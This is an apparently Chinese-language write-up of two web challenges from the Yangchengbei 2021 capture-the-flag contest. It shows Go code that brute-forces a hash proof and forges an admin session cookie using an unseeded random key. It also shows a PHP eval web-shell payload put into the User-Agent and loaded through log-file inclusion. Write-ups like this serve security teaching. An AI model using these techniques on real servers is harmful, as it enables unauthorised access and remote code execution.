羊城杯2021-网络安全大赛 Web Writeup
2023-3-27
| 2023-3-27
0  |  0 分钟

前言

签到完毕就算成功

Checkin_Go

这题还真是够 checkin 的。。。
首先注意到,在main.go 这里,Go中的 randomChar 并没有设定随机种子,所以实际上是伪随机,程序开始时的 cookie.NewStore(randomChar(16)) 其实是固定的。
在 loginGetHandler 这里,注意到有一句 hsh := hashProof() ,实际上是在此设定了登录所需的 hash。同时,我们再来看这个代码
func hashProof() string { hsh := md5.New() hsh.Write(randomChar(6)) return fmt.Sprintf("%x", hsh.Sum(nil))[:6] }
这里也是没有设定随机种子的,这就意味着我们可以对其进行猜测。比如网站给出的前缀是 8240ba,我们可以写这样一个小程序来碰撞。此处输出的是十六进制的字符串,我们在post的时候要注意把字符串进行 urlencode ,这里使用 %隔两个填充一次即可。
hsh := md5.New() for { hsh.Reset() str := randomChar(6) hsh.Write(str) hash1 := fmt.Sprintf("%x", hsh.Sum(nil)) if hash2 := hash1[:6]; hash2 == "8240ba" { fmt.Printf("%x", str) break } }
注意,在 auth := r.Group("/auth/",hashProofRequired()) 中有个判断,
if md5Hash(c.PostForm("hsh"))[:6] != hsh { fmt.Println(hsh) c.String(200, "wrong hash") c.Abort() }
我们要post的是hsh的原文而不是md5加密后的,所以我们上面才要进行urlencode。
这里并没有进行登录账号密码验证,但是限制非admin的验证,所以我们先随意用户登录。
if uname == "admin"{ c.String(200,"noon,you cant be admin") return } if uname == "" || pwd == "" { c.String(200, "empty parameter") return }
登录完成后会跳转到 /game ,同时我们在 guess.go/start() 中将会获得flag以及player的money,并会写入到 cookie: o 中。
这里提供了 /add 来添加钱,不过实际上我们并不需要用到这个钱,而且这个钱是加在flag上的,很明显flag的钱够多了,我们不需要加在flag上。而且其中有一个 check 来检查,我们似乎无法直接修改其金钱。但是我们可以自己构造一个小程序,把 playerMoney 和 NowMoney 调换一下。
r := gin.Default() storage := cookie.NewStore(randomChar(16)) r.Use(sessions.Sessions("o", storage)) r.GET("/", func(c *gin.Context) { s := sessions.Default(c) s.Set("uname", "admin") checkPlayerMoney := s.Get("checkPlayerMoney") checkNowMoney := s.Get("checkNowMoney") s.Set("checkNowMoney", checkPlayerMoney) s.Set("checkPlayerMoney", checkNowMoney) playerMoney := s.Get("playerMoney") nowMoney := s.Get("nowMoney") s.Set("nowMoney", playerMoney) s.Set("playerMoney", nowMoney) s.Save() }) r.Run("0.0.0.0:8081")
然后拿到返回的 cookie,再传给线上环境,访问 /game 并购买 flag 得到 flag。

only4

我估计这题是个非预期解,,,
这题本质是想让你走反序列化的,但是拿到 webshell 以后上去一看,好家伙 serialize.php 这文件名谁能猜得出来?
include($gwht); 中存在文件引用,
在 /var/www/example.com/log/access.log 中,或者 /proc/self/fd/8 可以获得访问日志,然后 User-Agent 改为 <?php eval($_POST[0]); ?> 即可实现一句话木马拿到 webshell 。flag 在根目录。
目录